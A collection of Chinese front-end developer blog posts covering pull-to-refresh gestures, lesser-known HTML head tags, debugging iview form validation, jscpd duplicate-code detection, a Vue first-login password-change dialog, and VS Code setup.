我们可以把 end 函数加以改造,在数据还没有加载完成时(用 setTimeout 模拟的),让加载动画 style 的 translateY 一直是 80px,translateY(80px) 可以和 初始 CSS 的 top: -80px; 相互抵消,让动画在未刷新完成前停留在视口顶部。


function end() {
...
box.style = `
transform: translateY(80px);
transition: all 0.3s linear;
`

loader.className = 'loading'
setTimeout(() => {
box.style = `
transform: translateY(0px);
transition: all 0.3s linear;
`

loader.className = ''
}, 1000)
}

重复触发


第三个缺陷是,下拉可以重复触发。


正常来说,如果我们已经下拉过,数据正在加载中时,我们不能继续下拉。


我们可以增加一个加载锁 loadLock。当加载锁开启时,start,move 和 end 事件都不会触发。


let loadLock = false

function start(e) {
if (loadLock) { return }
...
}

function move(e) {
if (loadLock) { return }
...
}

function end(e) {
if (loadLock) { return }
...
setTimeout(() => {
...
loadLock = true
...
}, 1000)
}

没有限制方向


第四个缺陷是,没有限制方向。


目前我们的代码,用户上拉也能触发。我们可以增加判断,当 endY - startY 小于 0 时,阻止 touchmovetouchend 的逻辑。


function move(e) {
...
if (endY - startY < 0) { return }
...
}

function end() {
if (endY - startY < 0) { return }
...
}

你可能会疑惑,为什么我宁愿写多个判断拦截,也不取消监听事件。这是因为一旦取消监听事件,我们需要考虑在一个合适的时间重新监听,这会把问题变得更复杂。


没有阻止原生滚动


第五个缺陷时,我们在加载数据时没有阻止原生滚动。


虽然我们已经阻止了重复下拉,touchmove 和 touchend 事件被拦截了,但是 H5 原生滚动还能用。


我们可以在刷新时给 body 设置一个 overflow: hidden; 属性,刷新结束后清除 overflow: hidden,这样就可以阻止原生滚动。


body.overflowHidden {
overflow: hidden;
}

const body = document.body
function end() {
...
box.style = `
transform: translateY(80px);
transition: all 0.3s linear;
`

loader.className = 'loading'
body.className = 'overflowHidden'
setTimeout(() => {
...
box.style = `
transform: translateY(0px);
transition: all 0.3s linear;
`

loader.className = ''
body.className = ''
}, 1000)
}

没有阻止 iOS 橡皮筋效果


第 6 个缺陷是,没有阻止 iOS 的橡皮筋效果。


iOS 浏览器默认滑动时有一个橡皮筋效果,我们需要阻止它,避免影响我们的下拉手势。阻止方式就是给监听器设置 passive: false


function addTouchEvent() {
box.addEventListener('touchstart', start, { passive: false })
box.addEventListener('touchmove', move, { passive: false })
box.addEventListener('touchend', end, { passive: false })
}

addTouchEvent()

解决完 6 个缺陷后,我们已经得到无缺陷的下拉刷新功能,但离丝滑的下拉刷新还有一段距离。我们还可以做一些优化,让下拉刷新更完善。


优化


我们可以做两个优化,第一个优化是添加阻尼效果:


增加阻尼效果


所谓阻尼效果,就是下拉过程我们可以感受到一股阻力的存在,虽然我们下拉力度是一样的,但距离的增加速度变慢了。用物理术语表示的话,就是加速度变小了。


体现到代码上,我们可以设置一个百分比,百分比会随着下拉距离增加而减少,把百分比乘以距离当作最后的距离。


代码中百分比 percent 设为 (100 - distanceY * 0.5) / 100,当 distanceY 越来越大时,百分比 percent 越来越小,最后再把 distanceY * percent 赋值给 distanceY


function move(e) {
...
distanceY = endY - startY
let percent = (100 - distanceY * 0.5) / 100
percent = Math.max(0.5, percent)
distanceY = distanceY * percent
if (distanceY > DISTANCE_Y_MAX_LIMIT) {
distanceY = DISTANCE_Y_MAX_LIMIT
}
...
}

利用角度判断用户下拉意图


第二个优化是利用角度判断用户下拉意图。


下图展示了两种用户下拉的情况,β 角度比 α 角度小,角度越小用户下拉意图越明显、误触的可能性更小。


intension.png


我们可以利用反三角函数求出角度来判断下拉意图。


JavaScript 中,反正切函数是 Math.atan(),需要注意的是,反正切函数算出的是弧度,我们还需要将它乘以 180 / π 才能获取角度。


下面的代码中,我们做了一个限制,只有角度小于 40 时,我们才认为用户的真实意图是想要下拉刷新。


const DEG_LIMIT = 40
function move(e) {
...
distanceY = endY - startY
distanceX = endX - startX
const deg = Math.atan(Math.abs(distanceX) / distanceY)
* (180 / Math.PI)
if (deg > DEG_LIMIT) {
[startY, startX] = [endY, endX]
return
}
...
}

代码示例


你可以在 codepen 中查看效果,web 端需要按 F12 用手机浏览器打开。


codepen.gif


总结


本文讲解了下拉的原理、并根据原理写出初始代码。在初始代码的基础上,我解决了 6 个缺陷、做了 2 个优化,实现了一个完善的下拉刷新效果。


作者:小霖家的混江龙
来源:juejin.cn/post/7340836136208859174
收起阅读 »

你真的熟悉HTML标签吗?--“看不见”却有用的标签

web
HTML标签,前端工程师在开发页面时经常使用。但往往关注更多的是页面渲染效果及交互逻辑,比如表单、菜单栏、列表、图文。还有一些非常重要却容易被忽视的标签,这些标签大多数用在页面头部head标签内,在某些场景下,比如交互实现、性能优化、搜索优化。合理利用它们可以...
继续阅读 »

HTML标签,前端工程师在开发页面时经常使用。但往往关注更多的是页面渲染效果及交互逻辑,比如表单、菜单栏、列表、图文。还有一些非常重要却容易被忽视的标签,这些标签大多数用在页面头部head标签内,在某些场景下,比如交互实现、性能优化、搜索优化。合理利用它们可以达到事半功倍的效果。


交互实现


提倡一个编码原则:Less code,less bug,提倡编码简约


meta标签



自动刷新/跳转



在使用它的时候,刷新和跳转操作是不可取消的,对刷新时间间隔或者需要手动取消的,推荐使用JavaScript定时器来实现



如果只是想实现页面的定时刷新或跳转。(比如某些页面缺乏访问权限,在X秒后跳回首页这样的场景),建议实践下meta标签的用法



PPT自动播放


要实现PPT自动播放的功能,只需要在每个页面的meta标签内设置好下一个页面的地址即可


<!-->五秒后自动跳转到page2.html页面<-->
<meta http-equiv="Refresh" content="5;URL=page2.html">

刷新大屏



比如:每隔一分钟就需要刷新页面的大屏幕监控,也可以通过meta标签来实现,只需去掉后面的URL即可



<meta http-equiv="Refresh" content="60">

title标签与Hack手段



B/S架构的优点:版本更新方便、跨平台、跨终端。但在处理某些场景,比如即时通信场景时,会变得比较麻烦。因为前后端通信深度依赖HTTP协议,而HTTP协议采用“请求-响应”模式。一种低效的解决方案是客户端通过轮询机制获取最新消息 (HTML5下可使用WebSocket协议)



消息提醒



消息提醒功能实现比较困难。HTML5标准发布之前,浏览器没有开放图标闪烁、弹出系统消息之类的接口,只能借助一些Hack的手段,比如修改title标签来达到类似的效果,(HTML5下可使用Web Notifications API弹出系统消息)



// 通过定时修改title内容 模拟了消息提醒闪烁
let msgNum = 1 //消息条数
let cnt = 0 //计数器
const inerval = setInterval(() => {
 cnt = (cnt + 1) % 2
 if (msgNum === 0) {
   document.title += `聊天页面` //通过DOM修改title
   clearlnterval(inerval)
   return
}
 const prefix = cnt % 2 ? `新消息(${msgNum}` ''
 document.title = `${prefix}聊天页面`
}, 1000)

image_0.2333475722562257.gif
定时修改title标签内容,可以制作其他动画效果,比如文字滚动,但需要注意浏览器会对title标签文本进行去空格操作。动态修改title标签可以将一些关键信息显示到标签上(比如下载时的进度、当前操作步骤)


性能优化



性能问题的两方面原因:渲染速度慢、请求时间长。合理地使用标签,可以在一定程度上提升渲染速度以及减少请求时间



script标签



调整加载顺序提升渲染速度。


浏览器的底层渲染机制中:当渲染引擎在解析HTML时,若遇到script标签引用文件,则会暂停解析过程,同时通知网络线程加载文件,文件加载后会切换至JavaScript引擎来执行对应代码,代码执行完成之后切换至渲染引擎继续渲染页面。


可以看出页面渲染过程中包含了,请求文件以及执行文件的时间。但页面的首次渲染可能并不依赖这些文件,所以请求文件和执行文件的动作反而延长了页面渲染的时间。为了减少这些损耗,可以借助script的属性来实现



asyc属性



立即请求文件,但不阻塞渲染引擎,文件加载完毕后阻塞渲染引擎并立即执行文件内容



defer属性



立即请求文件,但不阻塞渲染引擎,等到解析完HTML之后再执行文件内容



HTML5标准type属性--对应值为“module”



让浏览器按照ECMA Script6标准将文件当作模块进行解析,默认阻塞效果同defer,也可以配合async在请求完成后立即执行



image.png


从图中得知:采用三种属性都能减少请求文件引起的阻塞时间,只有defer、type=“module”属性能保证渲染引擎优先执行,从而减少执行文件内容消耗的时间。


当渲染引擎解析HTML遇到script标签引入文件时,会立即进行一次渲染



这也是为什么script放在底部的原因:构建工具会把编译好的引用JavaScript代码的script标签放入到body标签底部 当渲染引擎执行到body底部时会先将已解析的内容渲染出来,然后再去请求相应的JavaScript文件,如果是内联脚本(即不通过src属性引用外部脚本文件直接在HTML编写JavaScript代码的形式),渲染引擎则不会渲染



link标签



通过预处理提升渲染速度。在对大型单页应用进行性能优化时,会用到按需、懒加载的方式来加载对应的模块。但如果能使用link标签的预加载,就能进一步的提升加载速度。



rel = “dns-prefetch”



当link标签的rel属性值为“dns-prefetch”时,浏览器会对某个域名预先进行DNS解析并缓存。如此当浏览器在请求同域名资源时,能省去从域名查询IP的过程从而减少时间消耗



<!-->淘宝网的DNS解析<-->
<link rel="dns-prefetch" href="//g.alicdn.com">
<link rel="dns-prefetch" href-"L/img.alicdn.com">
<link rels"dns-prefetch" href="_/tce.alicdn.com">
<link rel="dns-prefetch" href="L/gm.mmstat.com">
<link ref="dns-prefetch" href="//tce.taobao.com">
<link "dns-prefetch" href="//log.mmstat.com">
<link rel="dns-prefetch" href="L/tui.taobao.com">
<link rel="dns-prefetch" href="//ald.taobao.com">
<link rel="dns-prefetch" href="L/gw.alicdn.com">
<link rel="dns-prefetch" href="L/atanx.alicdn.com">
<link "dns-prefetch" hrefs"_/dfhs.tanx.com">
<link rel="dns-prefetch" href="L/ecpm.tanx.com">
<link rel="dns-prefetch" href="//res.mmstat.com">

preconnect



让浏览器在一个HTTP请求正式发给服务器前预先执行一些操作 包括DNS解析、TLS协商、TCP握手,通过消除往返延迟来为用户节省时间



prefetch/preload



两个值都是让浏览器预先下载并缓存某个资源,但不同的是,prefetch可能会在浏览器忙时被忽略,而preload则是一定会被预先下载



prerender



浏览器不仅会加载资源,还会解析执行页面,进行预渲染



<link rel="preconnect" href="L/atanx.alicdn.com">
<link rel-"prefetch" hrefs"_/dfhs.tanx.com">
<link rel="preload" href="L/ecpm.tanx.com">
<link rel="prerender" href="//res.mmstat.com">

搜索优化


meta标签



提取关键信息。


这些描述信息是通过meta标签专门为搜索引擎设置的。目的是方便用户预览搜索到的结果



<meta content="拉勾,拉勾网,拉勾招聘,拉钩,拉钩网,互联网招聘,拉勾互联网招聘,移动互联网招聘,垂直互联网招聘,微信招聘,微博招聘,拉勾官网,拉勾百科,跳槽,高薪职位,互联网圈子,T招聘,职场招聘,猎头招聘,O2O招聘,LBS招聘,社交招聘,校园招聘,校招,社会招聘,社招"name="keywords">

在实际工作中推荐使用一些关键字工具来挑选,比如Google Trends、站长工具


link标



减少重复


对于同一个页面会有多个网址,又或者存在某些重定向页面,比如:`xx.com/a.htmlxx.com/detail?id="abcd"



合并网址的方式:比如使用站点地图,或者在HTTP请求响应头部添加rel="canonical"


<link href="https://xx.com/a.html"rel="canonical">

知识支撑


浏览器获取资源过程



浏览器获取资源过程解析



image.png


OGP(Open Graph Protocal,开放图表协议)



OGP是Facebook公司在2010年提出的,目的是通过增加文档信息来提升社交网页在被分享时的预览效果,只需要在一些分享页面中添加一些meta标签及属性,支持OGP协议的社交网站就会在解析页面时生成丰富的预览信息,比如站点名称、网页作者、预览图片


官方网站



微信文章支持OPG协议代码



通过mate标签属性值,声明了网址、预览图片、描述信息、站点名称、网页类型、作者等一系列信息



image.png

最后一句: 说一说你还知道哪些“看不见”的标签及用法?

学习心得!若有不正,还望斧正。


作者:沉曦
来源:juejin.cn/post/7246280283556380709
收起阅读 »

为了解决一个bug我读了iview源码

web
前言 “小蚂蚁,你这个页面不对啊,输入框有值但还是提示没有填写数据”,测试妹子对我说,我一点也不耐烦地说:“应该不可能出现这种问题,再说了你这没有截图啊,没图没真相啊”,妹子马上发来截图:看这就是你要的截图。 我低下头说:“我看看吧”,这一看不要紧从早晨看到...
继续阅读 »

前言


“小蚂蚁,你这个页面不对啊,输入框有值但还是提示没有填写数据”,测试妹子对我说,我一点也不耐烦地说:“应该不可能出现这种问题,再说了你这没有截图啊,没图没真相啊”,妹子马上发来截图:看这就是你要的截图。


截屏2023-08-09 22.41.58.png


我低下头说:“我看看吧”,这一看不要紧从早晨看到下午,从下午看到下班,还是没看出来哪里有问题啊!既然看不出来问题,那么就去看看源码,接下来一顿操作猛如虎;


深入iview源码


有时候迫不得已必须去看源码,源码有助于分析问题的本质;我这个表单页面用的vue2+iview,那么这就用到了Form和FormItem组件,问题肯定出在他们身上;但是怎么从本地代码断点调试到iview源码呢?


这就需要用到软链,我们在本地clone一份iview源码,然后修改packagejson中的main字段,改成src/index.js,这样就可以调试源码了,然后执行npm link;呀,发现报错了,原来iview还在使用webpack3,gulp的版本比较低,所以node也需要降低到11.15.0这个版本才行,降了版本再执行就OK了;


再到项目文件夹下执行npm link iview,成功链接到iview源码上去了,发现有个别源码的错误,凭借感觉先修复一下,比如下面这个改成esm导出:


截屏2023-08-09 22.52.04.png


找到执行校验的函数:一般都是调用$refs.form.validate方法,打断点


截屏2023-08-09 22.53.45.png


点击提交,成功进入断点,接下来就是秀操作的时候了,F11进入函数:


2023-08-11-20.12.09.webp


可以看到最关键的几行代码:


const validator = new AsyncValidator(descriptor);
let model = {};

model[this.prop] = this.fieldValue;

validator.validate(model, { firstFields: true }, errors => {
this.validateState = !errors ? 'success' : 'error';
this.validateMessage = errors ? errors[0].message : '';

callback(this.validateMessage);
});

iview使用的校验工具是async-validator,相信很多同学没有使用过这个库,那么我们就来看一看:


async-validator


创建一个mjs,直接使用node跑一下这个脚本:


import Schema from "async-validator";

const schema = new Schema.default({
name: {
required: true,
message: "姓名不能为空",
},
age: {
required: true,
message: "年龄不能为空",
},
});

schema.validate(
{
name: "张三",
age: 18,
},
undefined,
(errors) => {
console.log(errors);
}
);


发现没有报错,配置里面支持配置数据的类型,就是相当于在js这个弱类型语言里面加上强类型校验,这在几大框架里面都有做这件事情,js开发者永远都向往着强类型,给age加上一个string类型那么这个时候就会报错[ { message: '年龄不能为空', fieldValue: 18, field: 'age' } ]


    age: {
+ type: "string",
required: true,
message: "年龄不能为空",
},

再回到之前的问题上,有没有可能就是类型判断的错误导致即使填充了数据也报错,再打印errors看一看,发现果然如此,FormItem组件中validator中的type默认为string,而赋予的默认值为number类型,导致类型校验不通过而报错;


这也引发我们深思,后端都是强类型语言,比方说有些场景我们需要输入一些数字,这个时候input框内获取到的必然都是字符串,而后端返回给我们的必然又是number类型,这就导致输入输出类型不一致了,本来对于js这个弱类型语言,这一点完全没有必要纠结,反正字符串和数字他们之间隐式转换可以随便转;所以就我而言,js没有必要把字符串和数字类型限制得这么死,就像async-validator一样,弱类型不需要强校验


同样的async-validator为什么iview就有问题?稍有经验的同学应该一眼就能看出来,那必然是版本的问题,我们安装iview使用的版本:1.12.2,然后执行同样的脚本报错:[ { message: '年龄不能为空', field: 'age' } ],我们再深入到源码里面去看就知道它是默认设置为string类型了,这样的话如果不指定类型,就会当做string类型来校验,是不是感觉好像找到了一个bug,我本来以为可以提一个PR,但是后来想一想找个问题在于async-validator,给iview提PR好像也没什么用啊,而且async-validator在高版本已经解决了这个问题;


后记


在这个解决问题的过程中,我翻看了iview源码,学会了通过软链来调试源码的技巧,同时还掌握了一个异步校验工具:async-validator,可谓一箭双雕


另外我们还发现一个规律就是,在js的世界里面其实string和number这两种类型傻傻分不清,因为他们大部分情况下都可以隐式转换,所以在开发的时候需要格外注意,如果有用到强类型校验的话,我们就需要保证我们变量的类型一致性,比如说一个变量它是string类型那么就不能赋值number类型的变量


最后我顺利地解决了这个问题,虽然这个时候已经“夕阳西下”,我还是硬着头皮去找测试说:下班之前给它解决了,该你上了!然后就是测试测完了,我们顺利地上线了。


作者:蚂小蚁
来源:juejin.cn/post/7266340931359424551
收起阅读 »

前端代码重复度检测

web
在前端开发中,代码的重复度是一个常见的问题。重复的代码不仅增加了代码的维护成本,还可能导致程序的低效运行。为了解决这个问题,有许多工具和技术被用来检测和消除代码重复。其中一个被广泛使用的工具就是jscpd。 jscpd简介 jscpd是一款开源的JavaScr...
继续阅读 »

在前端开发中,代码的重复度是一个常见的问题。重复的代码不仅增加了代码的维护成本,还可能导致程序的低效运行。为了解决这个问题,有许多工具和技术被用来检测和消除代码重复。其中一个被广泛使用的工具就是jscpd


jscpd简介


jscpd是一款开源的JavaScript的工具库,用于检测代码重复的情况,针对复制粘贴的代码检测很有效果。它可以通过扫描源代码文件,分析其中的代码片段,并比较它们之间的相似性来检测代码的重复度。jscpd支持各种前端框架和语言,包括HTML、CSS和JavaScript等150种的源码文件格式。无论是原生的JavaScript、CSS、HTML代码,还是使用typescriptscssvuereact等代码,都能很好的检测出项目中的重复代码。


开源仓库地址:github.com/kucherenko/jscpd/tree/master


如何使用


使用jscpd进行代码重复度检测非常简单。我们需要安装jscpd。可以通过npmyarn来安装jscpd


npm install -g jscpd

yarn global add jscpd

安装完成后,我们可以在终端运行jscpd命令,指定要检测的代码目录或文件。例如,我们可以输入以下命令来检测当前目录下的所有JavaScript文件:


jscpd .

指定目录检测:


jscpd /path/to/code

在命令行执行成功后的效果如下图所示:



简要说明一下对应图中的字段内容:



  • Clone found (javascript):
    显示找到的重复代码块,这里是javascript文件。并且会显示重复代码在文件中具体的行数,便于查找。

  • Format:文件格式,这里是 javascript,还可以是 scss、markup 等。

  • Files analyzed:已分析的文件数量,统计被检测中的文件数量。

  • Total lines:所有文件的总行数。

  • Total tokens:所有的token数量,一行代码一般包含几个到几十个不等的token数量。

  • Clones found:找到的重复块数量。

  • Duplicated lines:重复的代码行数和占比。

  • Duplicated tokens:重复的token数量和占比。

  • Detection time:检测耗时。


工程配置


以上示例是比较简单直接检测单个文件或文件夹。当下主流的前端项目大多都是基于脚手架生成或包含相关前端工程化的文件,由于很多文件是辅助工具如依赖包、构建脚本、文档、配置文件等,这类文件都不需要检测,需要排除。这种情况下的工程一般使用配置文件的方式,通过选项配置规范 jscpd 的使用。


jscpd 的配置选项可以通过以下两种方式创建,增加的内容都一致无需区分对应的前端框架。


在项目根目录下创建配置文件 .jscpd.json,然后在该文件中增加具体的配置选项:


    {
"threshold": 0,
"reporters": ["html", "console", "badge"],
"ignore": ["**/__snapshots__/**"],
"absolute": true
}

也可直接在 package.json 文件中添加jscpd


    {
...
"jscpd": {
"threshold": 0.1,
"reporters": ["html", "console", "badge"],
"ignore": ["**/__snapshots__/**"],
"absolute": true,
"gitignore": true
}
...
}

简要介绍一下上述配置字段含义:



  • threshold:表示重复度的阈值,超过这个值,就会输出错误报警。如阈值设为 10,当重复度为18.1%时,会提示以下错误❌,但代码的检测会正常完成。


ERROR: jscpd found too many duplicates (18.1%) over threshold (10%)


  • reporters:表示生成结果检测报告的方式,一般有以下几种:

    • console:控制台打印输出

    • consoleFull:控制台完整打印重复代码块

    • json:输出 json 格式的报告

    • xml:输出 xml 格式的报告

    • csv:输出 csv 格式的报告

    • markdown:输出带有 markdown 格式的报告

    • html:生成html报告到html文件夹

    • verbose:输出大量调试信息到控制台



  • ignore:检测忽略的文件或文件目录,过滤一些非业务代码,如依赖包、文档或静态文件等

  • format:需要进行重复度检测的源代码格式,目前支持150多种,我们常用的如 javascript、typescript、css 等

  • absolute:在检测报告中使用绝对路径


除此之外还有很多其他的配置,有兴趣的可以看源码文档中有详细的介绍。


检测报告


完成以上jscpd配置后执行以下命令即可输出对应的重复检测报告。运行完毕后,jscpd会生成一个报告,展示每个重复代码片段的信息。报告中包含了重复代码的位置、相似性百分比和代码行数等详细信息。通过这些信息,我们可以有针对性的进行代码重构。


jscpd ./src -o 'report'

项目中的业务代码通常会选择放在 ./src 目录下,所以可以直接检测该目录下的文件,如果是放在其他目录下根据实际情况调整即可。
通过命令行参数-o 'report'输出检测报告到项目根目录下的 report 文件夹中,这里的report也可以自定义其他目录名称,输出的目录结构如下所示:



生成的报告页面如下所示:


项目概览数据:



具体重复代码的位置和行数:



默认检测重复代码的行数(5行)和tokens(50)比较小,所以产生的重复代码块可能比较多,在实际使用中可以针对检测范围进行设置,如下设置参数供参考:



  • 最小tokens:--min-tokens,简写 -k

  • 最小行数:--min-lines,简写 -l

  • 最大行数:--max-lines,简写 -x


jscpd ./src --min-tokens 200 --min-lines 20 -o 'report'

为了更便捷的使用此命令,可将这段命令集成到 package.json 中的 scripts 中,后续只需执行 npm run jscpd 即可执行检测。如下所示:


"scripts": {
...
"jscpd": "jscpd ./src --min-tokens 200 --min-lines 20 -o 'report'",
...
}

忽略代码块


上面所提到的ignore可以忽略某个文件或文件夹,还有一种忽略方式是忽略文件中的某一块代码。由于一些重复代码在实际情况中是必要的,可以使用代码注释标识的方式忽略检测,在代码的首尾位置添加注释,jscpd:ignore-startjscpd:ignore-end 包裹代码即可。


在js代码中使用方式:


/* jscpd:ignore-start */
import lodash from 'lodash';
import React from 'react';
import {User} from './models';
import {UserService} from './services';
/* jscpd:ignore-end */

在CSS和各种预处理中与js中的用法一致:


/* jscpd:ignore-start */
.style {
padding: 40px 0;
font-size: 26px;
font-weight: 400;
color: #464646;
line-height: 26px;
}
/* jscpd:ignore-end */

在html代码中使用方式:


<!--
// jscpd:ignore-start
-->

<meta data-react-helmet="true" name="theme-color" content="#cb3837"/>
<link data-react-helmet="true" rel="stylesheet" href="https://static.npmjs.com/103af5b8a2b3c971cba419755f3a67bc.css"/>
<link data-react-helmet="true" rel="apple-touch-icon" sizes="120x120" href="https://static.npmjs.com/58a19602036db1daee0d7863c94673a4.png"/>
<link data-react-helmet="true" rel="icon" type="image/png" href="https://static.npmjs.com/b0f1a8318363185cc2ea6a40ac23eeb2.png" sizes="32x32"/>
<!--
// jscpd:ignore-end
-->


总结


jscpd是一款强大的前端本地代码重复度检测工具。它可以帮助开发者快速发现代码重复问题,简单的配置即可输出直观的代码重复数据,通过解决重复的代码提高代码的质量和可维护性。


使用jscpd我们可以有效地优化前端开发过程,提高代码的效率和性能。希望本文能够对你了解基于jscpd的前端本地代码重复度检测有所帮助。




看完本文如果觉得有用,记得点个赞支持,收藏起来说不定哪天就用上啦~


专注前端开发,分享前端相关技术干货,公众号:南城大前端(ID: nanchengfe)


作者:南城FE
来源:juejin.cn/post/7288699185981095988
收起阅读 »

前端操作:用户首次登录强制更改密码

web
用户首次登录强制更改密码 这个系统每个新用户的初始密码都是后端分配的123456,要求用户初次登录此系统,就强制要求用户将密码修改为字母+数字,再用新密码才可登录; 封装了个组件,个人觉得校验规则写得比较全面,所以记录下分享给有需要的朋友;组件名为:First...
继续阅读 »

用户首次登录强制更改密码


这个系统每个新用户的初始密码都是后端分配的123456,要求用户初次登录此系统,就强制要求用户将密码修改为字母+数字,再用新密码才可登录;


封装了个组件,个人觉得校验规则写得比较全面,所以记录下分享给有需要的朋友;组件名为:FirstLoginDialog


先看效果图:


bc2f3f4f8ef8f13b6aa2a10ab5e2c6d.png


bbac9b40423d4e654fd6aa5c2099e90.png


da546cfcebb9819940c5086a5717b1a.png


实现思路:


1、在登陆跳转前判断密码是否为初始密码,如果是的话就弹框修改,否则直接登录首页


// 判断密码是否为初始密码 123456
if(this.loginForm.password == '123456'){
this.$message.error('您是首次登录系统,请修改初始密码!')
setTimeout(() => {
this.dialogTableVisible = true;
}, 1500);
} else {
this.$router.push({ path: this.redirect || "/" }).catch(() => {});
}

2、在修改密码的input校验规则中,设定必须要为字母+数字,不可再为123456;


login父组件:


<FirstLoginDialog :dialogTableVisible="dialogTableVisible" @handleClose="handleClose" :username="this.loginForm.username"></FirstLoginDialog>

FirstLoginDialog子组件:


<!-- 首次登录系统,修改密码弹框  -->
<template>
<el-dialog ref="dailog" width="40%" title="初始密码修改" show-close :visible="dialogTableVisible"
:before-close="close" :close-on-click-modal="false">

<!-- 进度条 -->
<el-steps :active="active" align-center>
<el-step title="初次登录" />
<el-step title="修改初始密码" />
<el-step title="完成" />
</el-steps>
<!-- 第1步展示 -->
<div v-if="active == 1" style="color: red;text-align: center;line-height: 30px;font-weight: 700;margin: 10px 0;">
您好,为了您的账号安全,请点击下一步修改初始密码
</div>
<!-- 第2、3步展示 -->
<div v-if="active != 3" style="width: 60%; margin: 0 auto;text-align:center">
<el-form ref="form" :model="user" status-icon :rules="rules">
<!-- 第1步展示 -->
<el-form-item v-show="active == 1" label="登陆账号">
<el-input v-model="username" :disabled="true" size="medium" />
</el-form-item>
<!-- 第2步展示 -->
<template v-if="active == 2">
<el-form-item label="旧密码" prop="oldPassword" class="password-item">
<el-input type="password" v-model="user.oldPassword" autocomplete="off" :show-password="true">
</el-input>
</el-form-item>
<el-form-item label="新密码" prop="newPassword" class="password-item">
<el-input type="password" v-model="user.newPassword" autocomplete="off" :show-password="true"></el-input>
</el-form-item>
<el-form-item label="确认新密码" prop="confirmPassword" class="password-item">
<el-input type="password" v-model="user.confirmPassword" :show-password="true" autocomplete="off"></el-input>
</el-form-item>
</template>
</el-form>
<!-- 第2、3步展示 -->
<div v-if="active != 1" slot="footer" class="dialog-footer">
<el-button @click="resetForm('form')">上一步</el-button>
<el-button type="primary" @click="submit('form')">下一步</el-button>
</div>
<!-- 第1步展示 -->
<div v-else slot="footer" class="dialog-footer">
<el-button type="primary" style="width:75%" @click="nextTip">下一步</el-button>
</div>
</div>
<!-- 第3步展示 -->
<div v-if="active === 3" class="ImgTip" style="text-align: center;margin: 0 auto;">
<div style="margin:20px 0">
<img v-if="isSuccess === true" src="@/assets/images/password_2.png" alt="">
<img v-else src="@/assets/images/password_1.png">
</div>
<p v-if="isSuccess === true" style="margin: 20px 0;">修改密码成功</p>
<p v-else style="margin: 20px 0;">网络开小差了,密码修改失败,请重新修改</p>
<el-button v-if="isSuccess === true" type="primary" @click="close">重新登录</el-button>
<el-button v-else type="primary" @click="again">重新修改</el-button>
</div>
<!-- 第2步展示 -->
<div v-if="active == 2" class="tip" style="color: red;margin-top: 20px;">
<h4>温馨提示</h4>
<p style="margin: 5px">1、密码长度不能低于6个字符</p>
<p style="margin: 5px">2、密码必须由数字、英文字符组成</p>
</div>
</el-dialog>
</template>

<script>
import { updateUserPwd } from "@/api/system/user";

export default {
props: {
dialogTableVisible: {
type: Boolean,
default: false
},
username: {
type: String,
default: ''
},
},
data () {
// 验证规则
// 是否包含一位数字
const regNumber = /(?=.*[\d])/;
// 是否包含一位字母
const regLetter = /(?=.*[a-zA-Z])/;
// 是否包含一位特殊字符
// const regCharacter = /(?=.*[`~!@#$%^&*()_\-+=<>?:"{}|,.\/;'\\[\]·~!@#¥%……&*()——\-+={}|《》?:“”【】、;‘’,。、])/
// 校验新密码
const validatePass = (rule, value, callback) => {
if (value === '') {
callback(new Error('新密码不能为空!请重新输入'))
} else {
if (value.length > 16) {
callback(new Error('密码长度不超过16个字符。'))
} else if (value.length < 6) {
callback(new Error('密码长度不低于6个字符。'))
} else {
if (!/^[a-zA-Z\d]{1}/.test(value)) {
callback(new Error('密码必须以英文字母或数字开头!'))
} else {
if (!regNumber.test(value)) {
callback(new Error('密码必须由数字,英文字母组成!'))
} else if (!regLetter.test(value)) {
callback(new Error('密码必须由数字,英文字母组成!'))
} else {
callback()
}
}
}
}
}
var validatePass2 = (rule, value, callback) => {
if (value === '') {
callback(new Error('请再次输入密码'));
} else if (value !== this.user.newPassword) {
callback(new Error('两次输入密码不一致!'));
} else {
callback();
}
};
return {
user: {
oldPassword: undefined,
newPassword: undefined,
confirmPassword: undefined
},
isSuccess: false,
active: 1,
// 表单校验
rules: {
newPassword: [
{ required: true, validator: validatePass, trigger: "blur" }
],
confirmPassword: [
{ required: true, validator: validatePass2, trigger: "blur" }
],
oldPassword: [
{ required: true, message: "旧密码不能为空", trigger: "blur" }
],
},
};
},
methods: {
nextTip () {
this.active += 1
},
resetForm () {
this.active -= 1
},
again () {
this.active = 1
},
submit () {
this.$refs["form"].validate(valid => {
if (valid) {
updateUserPwd(this.user.oldPassword, this.user.newPassword).then(response => {
if (response.code == 200) {
this.isSuccess = true
} else {
this.isSuccess = false
}
this.active = 3
});
}
});
},
close () {
this.$emit('handleClose');
},
}
};
</script>
<style lang="scss" scoped></style>

作者:呼啦啦呼_
来源:juejin.cn/post/7236988255072223287
收起阅读 »

HTML开发工具和环境介绍,内附超详细的VS code安装教程!

工欲善其事必先利其器,一款好的开发工具可以让我们事半功倍。前面我们对HTML的相关概念和基本结构已经有了基本的了解,下面我们就来安装在前端开发中的需要使用的开发工具及环境。在众多HTML编辑器中,选择一个适合自己的工具至关重要。今天我们就来认识一下前端开发工作...
继续阅读 »

工欲善其事必先利其器,一款好的开发工具可以让我们事半功倍。前面我们对HTML的相关概念和基本结构已经有了基本的了解,下面我们就来安装在前端开发中的需要使用的开发工具及环境。

在众多HTML编辑器中,选择一个适合自己的工具至关重要。今天我们就来认识一下前端开发工作中使用的最广泛的工具 “VS Code” , 并在本地搭建好开发环境。

一、前端开发工具简介

首先,在介绍 “VS Code” 之前,我们先来了解一下什么是 “IDE”。

Description

什么是 “IDE”

IDE 是集成开发环境的英文缩写 (Integrated Development Environment),集成开发环境就是将在开发过程中所需要的工具或功能集成到了一起,比如:代码编写、分析、编译、调试等功能,从而最大化地提高开发者的工作效率。

IDE 通用特点:

  • 提供图形用户界面,在 IDE 中可以完成开发过程中所有工作;

  • 支持代码补全与检查,并提供快速修复选项;

  • 内置解释器与编译器;

  • 功能强大的调试器,支持设置断点与单步执行等功能。

前端开发IDE

而在前端开发中我们需要安装一个“趁手”的IDE,帮助我们更快更高效的开发,一个好的IDE是每个程序员的必备武器。前端开发IDE有很多种,例如 Visual Studio Code、HBuilder、WebStorm、Atom 或 Sublime Text 等。

我们可以任选一种使用。这几种IDE的对比如下:

Description

这么多IDE该怎么选呢?对于我们初学者来说,选择Visual Studio Code,(简称VS Code)就可以了。VS code具备内置功能非常丰富、插件很全且安装简单、轻量、对电脑的配置要求不算很高,且有MAC版本,应用广泛等优点,很适合新手。

下面就和我一起下载并安装VS code吧!

二、VS code下载与安装

1、进入VScode官网
官网地址:https://code.visualstudio.com/

